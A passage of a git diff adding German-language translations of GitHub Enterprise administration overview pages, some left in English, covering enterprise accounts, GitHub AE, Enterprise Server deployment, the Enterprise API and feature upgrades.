+Mit deinem Unternehmenskonto auf {% data variables.product.prodname_dotcom_the_website %} kannst du mehrere Organisationen verwalten. Dein Unternehmenskonto benötigt einen Handle, wie z. B. eine Organisation oder ein Benutzerkonto auf {% data variables.product.prodname_dotcom %}.
+
+{% elsif ghes or ghae %}
+
+Das Unternehmenskonto auf {% ifversion ghes %}{% data variables.location.product_location_enterprise %}{% elsif ghae %}{% data variables.product.product_name %}{% endif %} ermöglicht dir die Verwaltung der Organisationen{% ifversion ghes %} auf{% elsif ghae %} im Besitz{% endif %} deiner {% ifversion ghes %}{% data variables.product.prodname_ghe_server %}-Instanz{% elsif ghae %}deines Unternehmens{% endif %}.
+
+{% endif %}
+
+Organisationen sind gemeinsam genutzte Konten, in denen Unternehmensmitglieder an vielen Projekten gleichzeitig zusammenarbeiten können. Organisationsbesitzer können den Zugriff auf die Daten und Projekte der Organisation mit komplexen Sicherheits- und Administrationsfunktionen verwalten. Weitere Informationen findest du unter [Informationen zu Organisationen](/organizations/collaborating-with-groups-in-organizations/about-organizations).
+
+{% ifversion ghec %} In den Unternehmenseinstellungen können Unternehmensbesitzer*innen vorhandene Organisationen einladen, deinem Unternehmenskonto beizutreten, Organisationen zwischen Unternehmenskonten zu übertragen oder neue Organisationen zu erstellen. Weitere Informationen findest du unter [Hinzufügen von Organisationen zu deinem Unternehmen](/admin/user-management/managing-organizations-in-your-enterprise/adding-organizations-to-your-enterprise).
+{% endif %}
+
+Mit deinem Unternehmenskonto kannst du Richtlinien für alle Organisationen verwalten und erzwingen, die sich im Besitz des Unternehmens befinden. {% data reusables.enterprise.about-policies %} Weitere Informationen findest du unter [Informationen zu Unternehmensrichtlinien](/admin/policies/enforcing-policies-for-your-enterprise/about-enterprise-policies).
+
+{% ifversion ghec %}
+
+{% data reusables.enterprise.create-an-enterprise-account %} Weitere Informationen findest du unter „[Erstellen eines Unternehmenskontos](/admin/overview/creating-an-enterprise-account)“.
+
+{% endif %}
+
+## Informationen zur Verwaltung deines Unternehmenskontos
+
+{% ifversion ghes or ghae %}
+
+Über dein Unternehmenskonto für {% ifversion ghae %}{% data variables.product.product_name %}{% elsif ghes %} eine {% data variables.product.prodname_ghe_server %}-Instanz{% endif %} können Administrator*innen Unternehmensmitgliedschaften anzeigen{% ifversion remove-enterprise-members %} und verwalten{% endif %}{% ifversion enterprise-owner-join-org %}, ihre eigene Mitgliedschaft in Organisationen im Besitz des Unternehmens verwalten{% endif %} und Folgendes für {% ifversion ghes %}die{% data variables.product.prodname_ghe_server %}-Instanz{% elsif ghae %}das Unternehmen in {% data variables.product.prodname_ghe_managed %}{% endif %} verwalten.
+
+{% ifversion ghes %}
+- Lizenznutzung{% endif %}
+- Sicherheit ({% ifversion ghae %}Einmaliges Anmelden (SSO), Listen zugelassener IP-Adressen, {% endif %}SSH-Zertifizierungsstellen, zweistufige Authentifizierung)
+- Unternehmensrichtlinien für Organisationen im Besitz des Unternehmenskontos
+
+{% endif %}
+
+{% ifversion ghes %}
+
+### Informationen zur Verwaltung deines Unternehmenskontos auf {% data variables.product.prodname_ghe_cloud %}
+
+{% endif %}
+
+{% ifversion ghec or ghes %}Wenn du {% data variables.product.prodname_enterprise %} testest oder erwirbst, kannst du{% ifversion ghes %} auch{% endif %} ein Unternehmenskonto für {% data variables.product.prodname_ghe_cloud %} auf {% data variables.product.prodname_dotcom_the_website %} erstellen. Administrator*innen für das Unternehmenskonto für {% data variables.product.prodname_dotcom_the_website %} können Unternehmensmitgliedschaften anzeigen {% ifversion remove-enterprise-members %} und verwalten{% endif %}{% ifversion enterprise-owner-join-org %}, ihre eigene Mitgliedschaft in Organisationen im Besitz des Unternehmens verwalten{% endif %} und Folgendes für das Unternehmenskonto{% ifversion ghes %} in {% data variables.product.prodname_dotcom_the_website %}{% endif %} verwalten.
+
+- Abrechnung und Nutzung (Dienste auf {% data variables.product.prodname_dotcom_the_website %}, in {% data variables.product.prodname_GH_advanced_security %}, Benutzerlizenzen)
+- Sicherheit (Einmaliges Anmelden (SSO), Listen zugelassener IP-Adressen, SSH-Zertifizierungsstellen, zweistufige Authentifizierung)
+- Unternehmensrichtlinien für Organisationen im Besitz des Unternehmenskontos
+
+Wenn du sowohl {% data variables.product.prodname_ghe_cloud %} als auch {% data variables.product.prodname_ghe_server %} verwendest, kannst du auch Folgendes für {% data variables.product.prodname_ghe_server %} aus deinem Unternehmenskonto auf {% data variables.product.prodname_dotcom_the_website %} verwalten.
+
+- Abrechnung und Nutzung für {% data variables.product.prodname_ghe_server %}-Instanzen
+- Anfragen und Unterstützen von Bundle-Sharing mit {% data variables.contact.enterprise_support %}
+
+Du kannst das Unternehmenskonto in {% data variables.location.product_location_enterprise %} auch mit deinem Unternehmenskonto auf {% data variables.product.prodname_dotcom_the_website %} verbinden, um Lizenznutzungsdetails für dein {% data variables.product.prodname_enterprise %}-Abonnement von {% data variables.product.prodname_dotcom_the_website %} anzuzeigen. Weitere Informationen findest du unter {% ifversion ghec %}„[Synchronisieren der Lizenznutzung zwischen {% data variables.product.prodname_ghe_server %} und {% data variables.product.prodname_ghe_cloud %}](/enterprise-server/billing/managing-your-license-for-github-enterprise/syncing-license-usage-between-github-enterprise-server-and-github-enterprise-cloud)“ in der Dokumentation zu {% data variables.product.prodname_ghe_server %}.{% elsif ghes %}„[Synchronisieren der Lizenznutzung zwischen {% data variables.product.prodname_ghe_server %} und {% data variables.product.prodname_ghe_cloud %}](/billing/managing-your-license-for-github-enterprise/syncing-license-usage-between-github-enterprise-server-and-github-enterprise-cloud)“.{% endif %}
+
+Weitere Informationen zu den Unterschieden zwischen {% data variables.product.prodname_ghe_cloud %} und {% data variables.product.prodname_ghe_server %} findest du unter„[{% data variables.product.prodname_dotcom %}-Produkte](/get-started/learning-about-github/githubs-products)“. {% data reusables.enterprise-accounts.to-upgrade-or-get-started %}
+
+{% endif %}
+
+## Informationen zur Abrechnung für dein Unternehmenskonto
+
+Die Rechnung für dein Unternehmenskonto umfasst die monatlichen Kosten für jedes Mitglied deines Unternehmens. Die Rechnung umfasst {% ifversion ghec %}alle kostenpflichtigen Lizenzen in Organisationen außerhalb deines Unternehmenskontos, Abonnements für Apps in {% data variables.product.prodname_marketplace %}, {% endif %}{% ifversion ghec or ghae %}zusätzliche kostenpflichtige Dienste für dein Unternehmen{% ifversion ghec %} wie Datenpakete für {% data variables.large_files.product_name_long %}{% endif %} und{% endif %} Nutzung für {% data variables.product.prodname_GH_advanced_security %}.
+
+{% ifversion ghec %}
+
+Weitere Informationen zur Abrechnung für dein {% data variables.product.prodname_ghe_cloud %}-Abonnement findest du unter „[Anzeigen des Abonnements und der Nutzung für dein Unternehmenskonto](/billing/managing-billing-for-your-github-account/viewing-the-subscription-and-usage-for-your-enterprise-account)“ und „[Informationen zur Abrechnung für dein Unternehmen](/billing/managing-billing-for-your-github-account/about-billing-for-your-enterprise)“.
+
+{% elsif ghes %}
+
+{% data reusables.enterprise-accounts.enterprise-accounts-billing %}
+
+Weitere Informationen zur Abrechnung für {% ifversion ghec %}{% data variables.product.prodname_ghe_cloud %}{% else %}{% data variables.product.product_name %}{% endif %} findest du unter „[Informationen zur Abrechnung für dein Unternehmen](/billing/managing-billing-for-your-github-account/about-billing-for-your-enterprise)“.
+
+{% endif %}
+
+{% ifversion ghec or ghes %}
+
+{% ifversion ghec %}
+
+{% data variables.product.prodname_enterprise %} bietet zwei Bereitstellungsoptionen. Zusätzlich zu {% data variables.product.prodname_ghe_cloud %} kannst du {% data variables.product.prodname_ghe_server %} verwenden, um die Entwicklungsarbeiten für dein Unternehmen in deinem Rechenzentrum oder unterstützten Cloudanbieter zu hosten. {% endif %}Unternehmensbesitzer auf {% data variables.product.prodname_dotcom_the_website %} können mithilfe eines Unternehmenskontos die Zahlung und Lizenzierung für {% data variables.product.prodname_ghe_server %}-Instanzen verwalten. Weitere Informationen findest du unter „[{% data variables.product.company_short %}-Produkte](/get-started/learning-about-github/githubs-products#github-enterprise)“ und „[Verwalten deiner Lizenz für {% data variables.product.prodname_enterprise %}](/billing/managing-your-license-for-github-enterprise)“.
+
+{% endif %}
+
+## Weiterführende Themen
+
+- „[Unternehmenskonten](/graphql/guides/managing-enterprise-accounts)“ in der Dokumentation zur GraphQL-API
diff --git a/translations/de-DE/content/admin/overview/about-github-ae.md b/translations/de-DE/content/admin/overview/about-github-ae.md
new file mode 100644
index 0000000000..6e26074dc9
--- /dev/null
+++ b/translations/de-DE/content/admin/overview/about-github-ae.md
@@ -0,0 +1,65 @@
+---
+title: Informationen zu GitHub AE
+intro: '{% data variables.product.prodname_ghe_managed %} bietet eine sicherheitsoptimierte und konforme Verwendung von {% data variables.product.prodname_dotcom %} in der Cloud.'
+versions:
+  ghae: '*'
+type: overview
+topics:
+  - Enterprise
+  - Fundamentals
+ms.openlocfilehash: 9e7769fca5b36252fad5566450ba156120491649
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147389851'
+---
+## Informationen zu {% data variables.product.prodname_ghe_managed %}
+
+{% data reusables.github-ae.github-ae-enables-you %} {% data variables.product.prodname_ghe_managed %} ist vollständig verwaltet, zuverlässig und skalierbar, sodass du die Bereitstellung beschleunigen und gleichzeitig dein Risikomanagement und den Konformitätsstatus verbessern kannst.
+
+{% data variables.product.prodname_ghe_managed %} bietet eine einzige Entwicklerplattform von der Idee bis zur Produktion. Du kannst die Entwicklungsgeschwindigkeit bei den Tools erhöhen, die Teams kennen und lieben, während du die Einhaltung von Branchenbestimmungen und gesetzlichen Vorgaben mit Sicherheits- und Zugriffssteuerungen, Workflowautomatisierung und Richtlinienerzwingung verwaltest. 
+
+{% data reusables.enterprise.about-github-for-enterprises %}
+
+## Eine Cloud mit hoher, weltweiter Verfügbarkeit
+
+{% data variables.product.prodname_ghe_managed %} ist ein vollständig verwalteter Dienst, der in einer Hochverfügbarkeitsarchitektur gehostet wird. {% data variables.product.prodname_ghe_managed %} wird global in einer Cloud gehostet, die zur Unterstützung deines vollständigen Entwicklungslebenszyklus ohne Einschränkungen skaliert werden kann. {% data variables.product.prodname_dotcom %} verwaltet Sicherungen, Failover und Notfallwiederherstellung vollständig, sodass du dir nie Gedanken über deinen Service oder deine Daten machen musst. 
+
+## Datenresidenz
+
+Alle deine Daten werden innerhalb der geografischen Region deiner Wahl gespeichert. Du kannst die DSGVO-Datenresidenzanforderungen und globalen Datenschutzstandards einhalten, indem du alle deine Daten innerhalb deiner ausgewählten Region aufbewahrst.
+
+## Isolierte Konten
+
+Standardmäßig sind alle Entwicklerkonten in {% data variables.product.product_name %} vollständig von anderen Diensten isoliert, einschließlich Produkten von {% data variables.product.company_short %}. Du kannst die Konten über deinen Identitätsanbieter steuern, wobei die einmalige SAML-Anmeldung obligatorisch ist. SCIM ermöglicht es dir sicherzustellen, dass Mitarbeiter*innen nur Zugriff auf die erforderlichen Ressourcen haben, wie dies in deinem zentralen Identitätsverwaltungssystem definiert wurde. Weitere Informationen findest du unter [Verwalten von Identität und Zugriff für dein Unternehmen](/admin/authentication/managing-identity-and-access-for-your-enterprise).
+
+Optional können Unternehmensbesitzer*innen die eingeschränkte Integration zwischen {% data variables.product.product_name %} und {% data variables.product.prodname_dotcom_the_website %} aktivieren. Weitere Informationen findest du unter [Informationen zu {% data variables.product.prodname_github_connect %}](/admin/configuration/configuring-github-connect/about-github-connect).
+
+## Eingeschränkter Netzwerkzugriff
+
+Sichere den Zugriff auf dein Unternehmen unter {% data variables.product.prodname_ghe_managed %} mit eingeschränktem Netzwerkzugriff, sodass auf deine Daten nur aus deinem Netzwerk zugegriffen werden kann. Weitere Informationen findest du unter „[Einschränken des Netzwerkdatenverkehrs in deinem Unternehmen](/admin/configuration/restricting-network-traffic-to-your-enterprise)“.
+
+## Kommerzielle und staatliche Umgebungen
+
+{% data variables.product.prodname_ghe_managed %} ist in der Azure Government Cloud, der vertrauenswürdigen Cloud für US-Behörden und deren Partner verfügbar. Außerdem ist {% data variables.product.prodname_ghe_managed %} in der kommerziellen Cloud verfügbar, sodass du die für deine Organisation geeignete Hostingumgebung auswählen kannst.
+
+## Complianceakkreditierungen
+
+{% data variables.product.company_short %} investiert weiterhin in bewährte Sicherheitsmethoden, um sicherzustellen, dass deine Daten sicher, Entwickler*innen produktiv und deine Teams auf das Beheben von Problemen fokussiert sind. Im Rahmen der Verpflichtung des Unternehmens hinsichtlich der Sicherheit gewährleistet {% data variables.product.prodname_ghe_managed %} die Konformität mit den folgenden Akkreditierungen.
+
+- FedRAMP High Authorization to Operate (ATO)
+- SOC 1, SOC 2 Typ II und SOC 3
+- ISO/IEC-Zertifizierungen
+   - ISO/IEC 27001:2013 
+   - ISO/IEC 27701:2019
+   - ISO/IEC 9001:2015
+   - ISO/IEC 22301:2019 
+   - ISO/IEC 27018:2014 
+   - ISO/IEC 20000-1:2018 
+   - ISO/IEC 27017:2015
+
+## Weitere Informationsquellen
+
+- „[Informationen zu Versionen von {% data variables.product.prodname_docs %}](/get-started/learning-about-github/about-versions-of-github-docs)“
+- „[Empfangen von Hilfe vom {% data variables.product.company_short %}-Support](/admin/enterprise-support/receiving-help-from-github-support)“
diff --git a/translations/de-DE/content/admin/overview/about-github-enterprise-server.md b/translations/de-DE/content/admin/overview/about-github-enterprise-server.md
new file mode 100644
index 0000000000..c3b54b8acf
--- /dev/null
+++ b/translations/de-DE/content/admin/overview/about-github-enterprise-server.md
@@ -0,0 +1,99 @@
+---
+title: About GitHub Enterprise Server
+intro: '{% data variables.product.product_name %} is a software development platform that you can host in a private environment.'
+versions:
+  ghes: '*'
+type: overview
+topics:
+  - Enterprise
+  - Fundamentals
+---
+
+## About {% data variables.product.product_name %}
+
+{% data reusables.enterprise.ghes-is-a-self-hosted-platform %} Your team can use {% data variables.product.product_name %} to build and ship software using Git version control, powerful APIs, productivity and collaboration tools, and integrations. Developers familiar with {% data variables.product.prodname_dotcom_the_website %} can onboard and contribute seamlessly using familiar features and workflows. {% data reusables.enterprise.about-github-for-enterprises %}
+
+{% data reusables.enterprise.ghes-runs-on-your-infrastructure %}
+
+{% data reusables.enterprise.github-distributes-ghes %} For more information, see "[System overview](/admin/overview/system-overview)."
+
+You can choose to deploy {% data variables.product.product_name %} on premises, or to a supported cloud environment.
+
+## Supported environments for deployment
+
+You can deploy {% data variables.product.product_name %} to a virtualization hypervisor within your on-premises datacenter, or to a public cloud service.
+
+{% data variables.product.company_short %} supports the following virtualization hypervisors for on-premises deployment.
+
+- Microsoft Hyper-V
+- OpenStack KVM
+- VMware ESXi
+
+{% data variables.product.company_short %} supports the following services for cloud deployment.
+
+- Amazon Web Services (AWS)
+- Google Cloud Platform (GCP)
+- Microsoft Azure
+
+For more information, see "[Setting up a {% data variables.product.prodname_ghe_server %} instance](/admin/installation/setting-up-a-github-enterprise-server-instance)."
+
+## About releases and upgrades
+
+{% data reusables.enterprise.constantly-improving %} You are responsible for upgrades to your instance. For more information, see "[{% data variables.product.product_name %} releases](/admin/all-releases)."
+
+## About administration
+
+You can configure and monitor {% data variables.product.product_name %} via browser, administrative SSH access, and REST or GraphQL APIs. {% data variables.product.company_short %} has found that people with Linux administration experience are more successful with the deployment and maintainance of {% data variables.product.product_name %}.
+
+You can give certain employees administrative access to {% data variables.product.product_name %}, so they can set up external authentication, configure the instance to meet developer needs, and monitor the instance's activity and performance. To ensure compliance with business rules or regulatory restrictions, administrators can configure policies that control how people use {% data variables.location.product_location %}. For more information, see the following articles.
+
+- "[About authentication for your enterprise](/admin/identity-and-access-management/managing-iam-for-your-enterprise/about-authentication-for-your-enterprise)"
+- "[Configuring your enterprise](/admin/configuration/configuring-your-enterprise)"
+- "[About the {% data variables.product.prodname_enterprise %} API](/admin/overview/about-the-github-enterprise-api)"
+- "[Monitoring your appliance](/admin/enterprise-management/monitoring-your-appliance)"
+- "[Monitoring activity in your enterprise](/admin/monitoring-activity-in-your-enterprise)"
+- "[About enterprise policies](/admin/policies/enforcing-policies-for-your-enterprise/about-enterprise-policies)"
+
+## About optional features
+
+You can configure optional features for {% data variables.product.product_name %} that improve the software development lifecycle for your enterprise.
+
+| Feature | Description | More information |
+| :- | :- | :- |
+| {% data variables.product.prodname_actions %} | Automate CI/CD and development workflows | "[About {% data variables.product.prodname_actions %} for enterprises](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/about-github-actions-for-enterprises)" |
+| {% data variables.product.prodname_github_connect %} | Benefit from the power of {% data variables.product.prodname_dotcom_the_website %} in limited ways | "[About {% data variables.product.prodname_github_connect %}](/admin/configuration/configuring-github-connect/about-github-connect)" |
+| {% data variables.product.prodname_GH_advanced_security %} | Improve code security and quality | "[About {% data variables.product.prodname_GH_advanced_security %}](/get-started/learning-about-github/about-github-advanced-security)" |
+| {% data variables.product.prodname_registry %} | Host software packages for your enterprise | "[Introduction to {% data variables.product.prodname_registry %}](/packages/learn-github-packages/introduction-to-github-packages)" |
+
+## About deployment topologies
+
+By default, {% data variables.product.product_name %} runs as a standalone instance. You can increase the reliability and performance of {% data variables.product.product_name %} by using a different topology for your deployment.
+
+- To mitigate the impact of system or network failures, you can deploy a passive replica instance. During an outage that affects your primary instance, you can manually fail over to the replica instance. For more information, see "[About high availability configuration](/admin/enterprise-management/configuring-high-availability/about-high-availability-configuration)."
+- You can configure multiple active replicas to improve performance for developers who are geographically distant from your primary instance. For more information, see "[About geo-replication](/admin/enterprise-management/configuring-high-availability/about-geo-replication)."
+- Some enterprises with tens of thousands of developers may benefit from a cluster configuration that scales horizontally instead of vertically. For more information, see "[About clustering](/admin/enterprise-management/configuring-clustering/about-clustering)."
+
+## About backups and disaster recovery
+
+To safeguard against data loss or service disruptions for your developers, {% data variables.product.company_short %} strongly recommends that you establish a plan for disaster recovery. You can back up your instance's configuration and user data by deploying and configuring a Linux or Unix host system with {% data variables.product.prodname_enterprise_backup_utilities %}. For more information, see "[Configuring backups on your appliance](/admin/configuration/configuring-your-enterprise/configuring-backups-on-your-appliance)."
+
+Additionally, you can configure a passive replica instance to fail over to in the event of a system or network failure. For more information, see "[About deployment topologies](#about-deployment-topologies)."
+
+## About documentation
+
+Documentation for both administrators and users of {% data variables.product.product_name %} is available on this site, {% data variables.product.prodname_docs %}. 
+
+- [Enterprise administrator documentation](/admin)
+- [User documentation](/)
+
+Different versions of {% data variables.product.product_name %} are reflected separately in the documentation on {% data variables.product.prodname_docs %}. For more information, see "[About versions of {% data variables.product.prodname_docs %}](/get-started/learning-about-github/about-versions-of-github-docs)."
+
+## Trying {% data variables.product.product_name %}
+
+You can sign up for a free, 45-day trial of {% data variables.product.product_name %}. For more information, see "[Setting up a trial of {% data variables.product.prodname_ghe_server %}](/get-started/signing-up-for-github/setting-up-a-trial-of-github-enterprise-server)."
+
+## Further reading
+
+- "[Getting started with {% data variables.product.product_name %}](/get-started/onboarding/getting-started-with-github-enterprise-server)"
+- "[About {% data variables.contact.github_support %}](/support/learning-about-github-support/about-github-support)"
+- [ {% data variables.product.prodname_roadmap %} ]( {% data variables.product.prodname_roadmap_link %} ) in the  `github/roadmap` repository
diff --git a/translations/de-DE/content/admin/overview/about-github-for-enterprises.md b/translations/de-DE/content/admin/overview/about-github-for-enterprises.md
new file mode 100644
index 0000000000..4fc01bf2aa
--- /dev/null
+++ b/translations/de-DE/content/admin/overview/about-github-for-enterprises.md
@@ -0,0 +1,41 @@
+---
+title: About GitHub for enterprises
+intro: 'Businesses can use {% data variables.product.prodname_dotcom %}''s enterprise products to improve their entire software development lifecycle.'
+versions:
+  ghec: '*'
+  ghes: '*'
+  ghae: '*'
+type: overview
+topics:
+  - Enterprise
+  - Fundamentals
+---
+
+## About {% data variables.product.prodname_dotcom %} for enterprises
+
+{% data variables.product.prodname_dotcom %} is a complete developer platform to build, scale, and deliver secure software. Businesses use our suite of products to support the entire software development lifecycle, increasing development velocity and improving code quality.
+
+Developers can store and version control your source code in repositories, using issues and projects to plan and track their work. They can code in a cloud-hosted development environment, {% data variables.product.prodname_github_codespaces %}, then review each other's code changes with pull requests, using code security features to keep secrets and vulnerabilities out of your codebase. Finally, you can automate your build, test, and deployment pipeline with {% data variables.product.prodname_actions %} and host software packages with {% data variables.product.prodname_registry %}.
+
+When businesses adopt {% data variables.product.prodname_enterprise %}, their return on investment (ROI) is high. For example, their developers save 45 minutes per day, and onboarding and training time is reduced by 40%. For more information, see [The Total Economic Impact of {% data variables.product.prodname_enterprise %}](https://resources.github.com/downloads/TEI-of-GitHub-Enterprise.pdf).
+
+To simplify administration for all the stages in the software development lifecycle, we provide a single point of visibility and management called an enterprise account. Enterprise accounts enable you to manage billing and settings, enforce policy, and audit the people with access to your enterprise's resources. For more information, see "[About enterprise accounts](/admin/overview/about-enterprise-accounts)."
+
+Optionally, you can add extra code security features with {% data variables.product.prodname_GH_advanced_security %}, and enhanced support options with {% data variables.contact.premium_support %}. For more information, see "[About {% data variables.product.prodname_GH_advanced_security %}](/get-started/learning-about-github/about-github-advanced-security)" and "[About {% data variables.contact.premium_support %}]({% ifversion ghae %}/enterprise-cloud@latest{% endif %}/support/learning-about-github-support/about-github-premium-support){% ifversion ghae %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %}
+
+## About deployment options
+
+When you purchase {% data variables.product.prodname_enterprise %}, you get access to both {% data variables.product.prodname_ghe_cloud %} and {% data variables.product.prodname_ghe_server %}. {% data variables.product.prodname_ghe_cloud %} is a set of advanced functionality on {% data variables.product.prodname_dotcom_the_website %}, while {% data variables.product.prodname_ghe_server %} is self-hosted platform. For more information, see "[About {% data variables.product.prodname_ghe_server %}]({% ifversion not ghes %}/enterprise-server@latest{% endif %}/admin/overview/about-github-enterprise-server){% ifversion not ghes %}" in the {% data variables.product.prodname_ghe_server %} documentation.{% else %}."{% endif %}
+
+For {% data variables.product.prodname_ghe_cloud %}, you can allow developers to create and manage their own personal accounts, or you can use {% data variables.product.prodname_emus %}, which enables you to create and manage the user accounts for your developers. For more information, see "[About authentication for your enterprise](/admin/identity-and-access-management/managing-iam-for-your-enterprise/about-authentication-for-your-enterprise)."
+
+{% data variables.product.prodname_ghe_managed %} is in limited availability for select customers with stringent security and compliance requirements. For more information, see "[About {% data variables.product.prodname_ghe_managed %}](/github-ae@latest/admin/overview/about-github-ae){% ifversion not ghae %}" in the {% data variables.product.prodname_ghe_managed %} documentation.{% else %}."{% endif %}
+
+You can benefit from the power of {% data variables.product.prodname_dotcom_the_website %} even while using {% data variables.product.prodname_ghe_server %} or {% data variables.product.prodname_ghe_managed %} by enabling {% data variables.product.prodname_github_connect %}, which allows you to configure additional features and workflows such as {% data variables.product.prodname_dependabot_alerts %} for insecure dependencies.{% ifversion ghec %}
+
+- "[About {% data variables.product.prodname_github_connect %}](/enterprise-server@latest/admin/configuration/configuring-github-connect/about-github-connect)" in the {% data variables.product.prodname_ghe_server %} documentation
+- "[About {% data variables.product.prodname_github_connect %}](/github-ae@latest/admin/configuration/configuring-github-connect/about-github-connect)" in the {% data variables.product.prodname_ghe_managed %} documentation{% else %} For more information, see "[About {% data variables.product.prodname_github_connect %}](/admin/configuration/configuring-github-connect/about-github-connect)."{% endif %}
+
+## Further reading
+
+- [Compare {% data variables.product.prodname_dotcom %} to other DevOps solutions](https://resources.github.com/devops/tools/compare/) in {% data variables.product.company_short %} Resources
diff --git a/translations/de-DE/content/admin/overview/about-the-github-enterprise-api.md b/translations/de-DE/content/admin/overview/about-the-github-enterprise-api.md
new file mode 100644
index 0000000000..391baa99b0
--- /dev/null
+++ b/translations/de-DE/content/admin/overview/about-the-github-enterprise-api.md
@@ -0,0 +1,32 @@
+---
+title: Informationen zur GitHub Enterprise-API
+intro: '{% data variables.product.product_name %} unterstützt REST- und GraphQL-APIs.'
+redirect_from:
+  - /enterprise/admin/installation/about-the-github-enterprise-server-api
+  - /enterprise/admin/articles/about-the-enterprise-api
+  - /enterprise/admin/articles/using-the-api
+  - /enterprise/admin/categories/api
+  - /enterprise/admin/overview/about-the-github-enterprise-server-api
+  - /admin/overview/about-the-github-enterprise-server-api
+versions:
+  ghes: '*'
+  ghae: '*'
+topics:
+  - Enterprise
+shortTitle: GitHub Enterprise API
+ms.openlocfilehash: d7228182a2dbccc856cb4030a3b08d1883eb266b
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '146331632'
+---
+Mit den APIs kannst du viele Verwaltungsaufgaben automatisieren. Beispiele hierfür sind:
+
+{% ifversion ghes %}
+- Änderungen in der {% data variables.enterprise.management_console %} durchführen. Weitere Informationen findest du unter [{% data variables.enterprise.management_console %}](/enterprise/user/rest/reference/enterprise-admin#management-console).
+- Die LDAP-Synchronisierung konfigurieren. Weitere Informationen findest du unter [LDAP](/enterprise/user/rest/reference/enterprise-admin#ldap). {% endif %}
+- Statistiken zu deinem Unternehmen erfassen. Weitere Informationen findest du unter [Administratorstatistiken](/rest/reference/enterprise-admin#admin-stats).
+- Verwalte dein Unternehmenskonto. Weitere Informationen findest du unter [Unternehmenskonten](/graphql/guides/managing-enterprise-accounts).
+
+Die vollständige Dokumentation zu {% data variables.product.prodname_enterprise_api %} findest du unter [{% data variables.product.prodname_dotcom %} REST-API](/rest) und [{% data variables.product.prodname_dotcom%} GraphQL-API](/graphql). 
diff --git a/translations/de-DE/content/admin/overview/about-upgrades-to-new-releases.md b/translations/de-DE/content/admin/overview/about-upgrades-to-new-releases.md
new file mode 100644
index 0000000000..23e99534c6
--- /dev/null
+++ b/translations/de-DE/content/admin/overview/about-upgrades-to-new-releases.md
@@ -0,0 +1,52 @@
+---
+title: Informationen zu Upgrades auf neue Releases
+shortTitle: About upgrades
+intro: '{% ifversion ghae %}Dein Unternehmen auf {% data variables.product.product_name %} wird von {% data variables.product.company_short %} regelmäßig mit den neuesten Features und Fehlerkorrekturen aktualisiert.{% else %}Du kannst von neuen Features und Fehlerkorrekturen für {% data variables.product.product_name %} profitieren, indem du für dein Unternehmen ein Upgrade auf eine neu veröffentlichte Version durchführst.{% endif %}'
+versions:
+  ghes: '*'
+  ghae: '*'
+type: overview
+topics:
+  - Enterprise
+  - Upgrades
+ms.openlocfilehash: b3a2d340ef73ffe92f2117caf38a84e76ba0c8d1
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148108318'
+---
+{% data reusables.enterprise.constantly-improving %}{% ifversion ghae %}{% data variables.product.prodname_ghe_managed %} ist ein vollständig verwalteter Dienst, sodass {% data variables.product.company_short %} den Upgradeprozess für dein Unternehmen abschließt.{% endif %}
+
+Featurereleases umfassen neue Funktionen und Featureupgrades und werden in der Regel vierteljährlich veröffentlicht. {% ifversion ghae %}{% data variables.product.company_short %} aktualisiert dein Unternehmen auf das neueste Featurerelease. Du erhältst eine Vorabbenachrichtigung über alle geplanten Ausfallzeiten für dein Unternehmen.{% endif %}
+
+{% ifversion ghes %}
+
+Ab {% data variables.product.prodname_ghe_server %} 3.0 beginnen alle Featurereleases mit mindestens einem Release Candidate. Release Candidates sind vorgeschlagene Featurereleases mit einem vollständigen Featuresatz. Ein Release Candidate kann Fehler oder Probleme enthalten, die nur durch das Feedback von Kunden gefunden werden können, die {% data variables.product.product_name %} tatsächlich verwenden. 
+
+Du kannst die neuesten Funktionen frühzeitig nutzen, indem du einen Release Candidate testest, sobald dieser verfügbar ist. Du kannst ein Upgrade auf einen Release Candidate aus einer unterstützten Version durchführen und von dem Release Candidate auf spätere Versionen aktualisieren, wenn sie veröffentlicht werden. Sobald die neue Version allgemein verfügbar ist, solltest du alle Umgebungen, in denen ein Release Candidate ausgeführt wird, aktualisieren. Weitere Informationen findest du unter [Upgradeanforderungen](/admin/enterprise-management/upgrade-requirements).
+
+Release Candidates sollten in Test- oder Stagingumgebungen bereitgestellt werden. Wenn du einen Release Candidate testest, richten dein Feedback bitte an den Support. Weitere Informationen findest du unter [Arbeiten mit {% data variables.contact.github_support %}](/admin/enterprise-support).
+
+Wir verwenden dein Feedback, um Fehlerkorrekturen und andere erforderliche Änderungen für ein stabiles Produktionsrelease anzuwenden. Jeder neue Release Candidate fügt Fehlerkorrekturen für Probleme hinzu, die in früheren Versionen gefunden wurden. Wenn die Release für die allgemeine Einführung bereit ist, veröffentlicht {% data variables.product.company_short %} eine stabile Produktionsrelease.
+
+{% endif %}
+
+{% warning %}
+
+**Warnung:** Das Upgrade auf ein neues Featurerelease führt zu einigen Stunden Downtime, während denen keine deiner Benutzer*innen das Unternehmen verwenden können. Du kannst Benutzer über Ausfallzeiten informieren, indem du ein globales Ankündigungsbanner mithilfe deiner Unternehmenseinstellungen oder der REST-API veröffentlichst. Weitere Informationen findest du unter [Anpassen von Benutzernachrichten in deiner Instanz](/admin/user-management/customizing-user-messages-on-your-instance#creating-a-global-announcement-banner) und [{% data variables.product.prodname_enterprise %}-Administration](/rest/reference/enterprise-admin#announcements).
+
+{% endwarning %}
+
+{% ifversion ghes %}
+
+Patchreleases, die nur aus Hotpatches und Bugfixes bestehen, werden häufiger veröffentlicht. Patchreleases sind allgemein verfügbar, wenn sie zuerst, d. h. ohne Release Candidates, veröffentlicht werden. Das Upgrade auf eine Patchrelease dauert in der Regel weniger als fünf Minuten.
+
